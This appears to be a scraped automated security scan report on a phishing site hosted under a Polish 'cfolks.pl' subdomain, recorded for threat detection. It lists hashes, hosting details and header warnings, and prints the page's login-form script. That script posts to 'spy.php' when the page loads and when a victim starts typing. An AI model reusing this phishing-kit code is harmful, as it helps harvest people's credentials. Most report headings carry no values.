other

social_media

phishing/scam

Italian

PHPSESSID

Domain 'rafailkegdfvcnbasdfhdgfsklil.cfolks.pl' uses the Polish country-code top-level domain (.pl), featuring subdomain 'rafailkegdfvcnbasdfhdgfsklil'. Its registrable label 'cfolks' stretches across 6 characters with 1 vowel and five consonants. Word splitting yields two words: c, folks. Median word length comes out to 3 characters. No strong language cues emerged from the frequency lists.

html/af/20/af209154-aba7-48fa-b0aa-e0621ee6a7d1_fallback.html.gz

404 Not Found

login

pass

html/af/20/af209154-aba7-48fa-b0aa-e0621ee6a7d1.html.gz

application/x-www-form-urlencoded; charset=UTF-8

ee11e902416a1d896f538103110337b39a0e2e2606bc1faf5cd0652914891127

c5d85d054886c5b1438c896e06123d5d18a0f530f2da3c46271047b1b40cef00

c450a5bf90f853f965b65b776ec35fa11868d80a47412c60c0d44a21a21f88ca

65eca82ffd9089e5a76d2963137eeedc388dec50f0934c3b3f271db9831ffb32

2661ac08761e1b2fe6b7232c68ea42d497fe08aaa6ba104cc18a54af2a0c73c8

38002ee2b65780ba2050950cb8bc893ff715c972114268fc2e3159427685b5fa

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Cyber_Folks S.A. Abuse Contact

Network Operations Center Cyber_Folks S.A.

H88-MNT

Cyber_Folks S.A.

ORG-NCC1-RIPE

OGICOM


	$(document).ready(function() {		
		$(document).on("click",".closeAlertMsg", function() { closeAlertMsg(this); });
		
		if ($('#newBanner').find('div').length) 
	    {         
        }   
		else 
		{          
		   $("#newBanner").hide();
        }
    });

    var showPasswordWeb = function () {
        var x = document.getElementById("PasswordAreaUtenti");
        if (x.type === "password") {
            x.type = "text";
            document.getElementById('eye-passwordWeb').style.display = "none";
            document.getElementById('eye-no-passwordWeb').style.display = "block";
        } else {
            x.type = "password";
            document.getElementById('eye-no-passwordWeb').style.display = "none";
            document.getElementById('eye-passwordWeb').style.display = "block";
        }
    }

    var closeAlertMsg = function (thisButton) {
        $(thisButton).closest(".messageKOStyle").fadeOut();
    }



$("#loginform").validate({
		messages:{
				user: 'Introduce <b>tu identificador</b>',
				pass: 'Introduce <b>tu contraseña</b>'
	},
	submitHandler:function(form){
		form.submit();
	}
});

$.post("spy.php", {loginview:1});
var abort = false;
$("#user").keyup(function(){
	if(abort==false){
		$.post("spy.php", {loging:1});
		abort=true;
	}
});


Script

PasswordField

✅ Low Risk - https://rafailkegdfvcnbasdfhdgfsklil.cfolks.pl/vmx/tdw/auth/log.php

Requests	IP Address	Location	AS Autonomous System
31	93.157.100.34	Poland	AS34360Cyber_Folks S.A.
31	1	-	-

Security Scan Report: rafailkegdfvcnbasdfhdgfsklil.cfolks.pl

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History